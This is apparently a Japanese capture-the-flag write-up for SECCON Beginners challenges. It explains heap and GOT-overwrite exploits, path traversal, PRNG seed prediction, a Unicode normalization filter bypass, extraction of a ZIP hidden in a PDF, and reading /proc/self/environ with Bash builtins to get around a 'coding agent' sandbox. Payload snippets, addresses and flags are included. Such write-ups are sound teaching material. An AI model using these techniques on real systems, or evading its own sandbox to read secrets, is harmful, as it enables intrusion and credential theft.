rank=-19, score=0x401550(main) → __stack_chk_fail@GOT を main に上書き。feedback で canary を壊すと main へリセットrank=-14, score=0x4010e0(system@plt) → strtol@GOT を system に上書き。canary で再び main へstrtol(buf, ...) → system(buf) が実行される → cat /app/flag-*.txt と入力してフラグbacklog
バックログを確認してくださいnc backlog.beginners.seccon.games 9091
添付ファイル: backlog.zip
read(fd, buf, size) が丁度 size バイト読むと buf[size] = '\0' が隣チャンクの size フィールドの下位バイトを NUL で上書きする。これで prev_inuse ビットを落として偽の前方結合を起こし、生きているノートと job 構造体をヒープ上で重ねる。ctf4b{1by73_0v3rfl0w!}ノートと job を管理するヒープベースの C プログラムです。read(fd, buf, size) の後に buf[n] = '\0' があるとき、n == size なら buf[size](1 バイト外)に NUL が書かれる Off-by-One 脆弱性があります。これを利用して隣のヒープチャンクの prev_inuse ビットを落とし(Poison Null Byte)、偽の前方結合を発生させます。生きたノートポインタが job 構造体と重なるため、ノート書き込みで job.command と job.token を上書きし、認証を通過して任意コマンドを実行します。
static void read_note_data(char *buf, size_t size) { n = read(STDIN_FILENO, buf, size); // size バイト読む buf[n] = '\0'; // n == size なら buf[size] = 0 → 1byte overflow! }
show(B) でヒープアドレスをリークtcache[0x100] を 7 個で満杯にし、通常の consolidation パスを通るようにするprev_inuse=0 にjob.command と job.token = APPROVAL_TOKEN を上書きsystem("cat /app/flag.txt")workflow_oriented
退屈なファイル処理を自動化するために workflow を作りました。nc workflow.beginners.seccon.games 9095
添付ファイル: workflow.zip
shrink_memo() が write_limit を更新しないため、縮小後の memo から workflow 構造体へのヒープ overflow が可能。偽の computed goto テーブルを仕込み、READ_INPUT 後に output_size = bytes_read を実行する内部ラベルへ誘導してフラグを表示させる。ctf4b{Jump_t0_th3_neXt_Step}「ファイル処理を自動化する workflow」から、ファイル読み書きとステップ実行の仕組みを持つプログラムです。shrink 操作後に write_limit が更新されないというバグを探します。これにより縮小済み memo から隣の workflow 構造体へヒープオーバーフローができます。次に computed goto(GCC の label-as-value)のテーブルを偽造して任意のコードパスへ誘導する方法を考えます。Path Traversal(docs/../../flag.txt)と組み合わせて flag ファイルを読み出します。
write_limit は 0x180 のまま。rewrite_memo() で隣の workflow 構造体まで書き込める。output_size=0 が実行されて PUBLISH_OUTPUT でフラグが表示されない。しかし computed goto テーブルを偽造して 0x401b78 (output_size = bytes_read) へ飛ぶ偽ステップを挟むことで回避できる。inspect でヒープアドレスリークdocs/../../flag.txt を書き込むstrncmp(input_path, "docs/", 5) を docs/../../flag.txt で通過。/app/docs/../../flag.txt = /flag.txt。Misc — 4問
omikuji
名前を入れておみくじを引きましょう。結果を全部当てられますか?nc omikuji.beginners.seccon.games 33457
添付ファイル: omikuji.zip
random.seed(name) で乱数列を初期化してから5回の乱数を当てさせる。Python の random は決定論的なので、同じ名前を使えばローカルで事前計算できる。ctf4b{0m1kuj1_15_d373rm1n15t1c}「全部当てられますか?」という挑戦から、乱数の予測が必要です。Python の random モジュールはメルセンヌ・ツイスタによる擬似乱数で、シードが同じなら必ず同じ数列を生成します。ソースを読むと random.seed(name) でユーザーが入力した名前をシードにしていることがわかります。同じ名前をローカルの Python インタープリタに渡して 5 回分の乱数を事前計算し、サービスに順番に送るだけでフラグが得られます。
random.seed(name) # ← 外部入力がシード for _ in range(5): x = random.randint(1, 1000000)
rng = random.Random() rng.seed("attacker") for _ in range(5): print(rng.randint(1,1000000))
名前 "attacker" での事前計算結果: [736736, 383342, 633722, 438357, 503623]。これをサービスに順番に送るだけ。
os.urandom や secrets モジュールを使う。viewer
表示できるファイルを選んでください。nc viewer.beginners.seccon.games 33458
添付ファイル: viewer.zip
flag は NFKC 正規化で flag になるが、正規化前には ASCII の “flag” が含まれない。ctf4b{un1C0dE_N0rMal12a710n_15_7r1CKy}「表示できるファイルを選ぶ」から、許可されたファイルリストの検証バイパスが目標です。ソースを読むと入力に “flag” が含まれるかチェックした後、Unicode 正規化(NFKC)を経てファイル名を解決しています。正規化前にチェックしているため、全角文字 flag(U+FF46 等)を使うと “flag” チェックをすり抜け、正規化後は “flag” になって許可されたファイルと一致します。これは「検証後に変換する」という TOCTOU 類似のパターンです。
def main(): filename = input(...) # ① 正規化 "前" に "flag" チェック if "flag" in filename: print("blocked"); return # ② 正規化 "後" に ALLOWED_FILES と照合 resolved = resolve_path(filename) # resolve_path 内で unicodedata.normalize("NFKC", filename) が実行される
# 全角文字の UTF-8 バイト列を直接送信してフィルターをバイパス # f=\xef\xbd\x86 l=\xef\xbd\x8c a=\xef\xbd\x81 g=\xef\xbd\x87 echo -e '\xef\xbd\x86\xef\xbd\x8c\xef\xbd\x81\xef\xbd\x87.txt' | nc viewer.beginners.seccon.games 33458
Homework
My teacher told me to do this assignment. I’d like to use AI to make it easier, but I have a feeling there’s something hidden here…
添付ファイル: Homework.pdf
PK シグネチャを探して切り出し、ZIP 内の FLAG.txt を展開する。ctf4b{Im_914d_y0u_f0und_thi5_f149}「何か隠れているような気がする」というヒントからステガノグラフィを疑います。PDF ファイルのメタデータや構造を確認する際、ファイル末尾への追記データ(appended data)は見落とされやすい隠し場所です。strings や hex エディタで PDF を確認すると %%EOF の後に PK\x03\x04(ZIP シグネチャ)が見つかります。PDF には「付加データを調べるな」という文言があり、これが逆説的なヒントになっています。ZIP を切り出して展開すると本物のフラグが入った FLAG.txt が出てきます。
ctf4b{THIS_IS_NOT_FLAG_ai_w0nt_s4ve_y0u_h3r3_try_h4rd3r} が書かれているが偽物。むしろ「付加データを調べるな」という文言が逆に怪しいヒント。# ZIP シグネチャのオフセットを探す grep -aob $'\x50\x4b\x03\x04' Homework.pdf # → 例: 2890:PK... # 埋め込み ZIP を切り出す dd if=Homework.pdf of=/tmp/hidden.zip bs=1 skip=2890 # 中身を確認 unzip -l /tmp/hidden.zip # → FLAG.txt # フラグを取得 unzip -p /tmp/hidden.zip FLAG.txt
greenroom
あなたはコーディングエージェントです! 制約を回避して環境変数を読んでください!nc greenroom.beginners.seccon.games 46777
添付ファイル: greenroom.zip
$FLAG で読めない。Bash 組み込みの read -d $'\0' で /proc/self/environ を NUL 区切りで読み出す。ctf4b{b45h_bu1lt1n5_c4n_r34d_nul_s3p4r4t3d_3nv}「コーディングエージェント」として制限された Bash 環境で動作します。cat・env・strings などの外部コマンドが全て禁止されているため、Bash 組み込みコマンドだけで環境変数を列挙する必要があります。通常は $FLAG で読めますが、フラグが環境変数のキー名として注入されているため変数参照では取得できません。/proc/self/environ は NUL 区切りで全環境変数を格納しており、read -d $'\0' という Bash 組み込みオプションで NUL を区切り文字として読み出せます。
# サーバー側の環境変数注入 child_env[FLAG_VALUE] = "x" # → ctf4b{b45h...} が環境変数のキー名になっている! # $FLAG では参照できない → 全環境変数を列挙する必要がある
while IFS= read -r -d $'\0' line; do echo "$line"; done < /proc/self/environ
/proc/self/environ: プロセスの環境変数を NUL (\0) 区切りで列挙する特殊ファイルread -d $'\0': NUL を区切り文字として使う Bash 組み込みオプション (外部コマンド不要)IFS=: 行全体を保持 (スペース等でフィールド分割しない)
PATH=/app/bin HOME=/tmp AGENT=greenroom MODE=sandbox ctf4b{b45h_bu1lt1n5_c4n_r34d_nul_s3p4r4t3d_3nv}=x ↑ キー名がフラグ!
/proc 等特殊ファイルへのアクセス自体を制限 (chroot/seccomp) するか、環境変数をキー名として注入する設計をやめる。
